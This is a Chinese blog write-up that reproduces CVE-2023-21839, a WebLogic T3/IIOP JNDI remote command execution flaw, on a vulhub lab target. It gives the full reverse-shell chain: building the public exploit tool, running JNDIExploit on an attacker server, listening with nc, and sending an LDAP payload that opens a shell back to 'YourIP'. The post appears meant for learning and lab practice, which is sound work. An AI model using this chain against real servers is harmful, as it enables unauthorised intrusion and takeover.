漏洞复现-CVE-2023-21839-weblogic远程命令执行

0x00 实验环境

攻击机:Ubuntu

靶场:vulhub搭建的靶场环境

 

0x01 影响版本

允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞

  • WebLogic_Server = 12.2.1.3.0

  • WebLogic_Server = 12.2.1.4.0

  • WebLogic_Server = 14.1.1.0.0

0x02 漏洞复现

(1)通过nmap探测开放端口7001端口:且使用T3协议:

 

(2)访问console目录,发现存在后台:http://x.x.x.x:7001/console/login/LoginForm.jsp

 

 (3)使用网上开源的工具进行漏洞探测:dnslog(开源工具链接:https://github.com/4ra1n/CVE-2023-21839)

本机需要安装好go的环境,Windows的话直接进入该工具的cmd/目录下运行:

go build -o CVE-2023-21839.exe

然后目录下会生成该漏洞利用的exe文件

 

拷贝出来进行漏洞探测:发现dnslog存在回显,说明存在漏洞,如果报错之类的,可能是不存在该漏洞。

 

 (4)反弹shell:

使用github上已经放出来的JNDI的漏洞利用工具,在自己的公网服务器开启rmi服务,监听1389端口。(注:记得不要写0.0.0.0,要写你的公网服务器的IP,不然弹不回来。)

java -jar JNDIExploit-1.3-SNAPSHOT.jar  -i YourIP -l 1389 -p 9999

 

 

 (5)然后在在这台开了1389的服务器上使用nc监听端口:

nc -lvp 9988

 

 (6)然后再在自己本地电脑(放有CVE-2023-21839.exe)运行以下命令:

CVE-2023-21839.exe -ip 目标主机IP -port 7001 -ldap ldap://YourIP:1389/Basic/ReverseShell/YourIP/9988

 

 (7)目标主机成功getshell

 

0x03 漏洞原理

由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,未经身份验证的攻击者通过IIOP/T3协议向受影响的服务器发送恶意的请求。主要风险点是lookup方法的使用。详细分析与防御放在漏洞分析一栏有时间再研究。看了一下,wireshark的tcp流量是有显示T3协议的。

 

 

0x04 参考文献

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

 https://github.com/4ra1n/CVE-2023-21839

 

0x05 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

posted @ 2023-02-28 16:12  铺哩  阅读(1557)  评论(0编辑  收藏  举报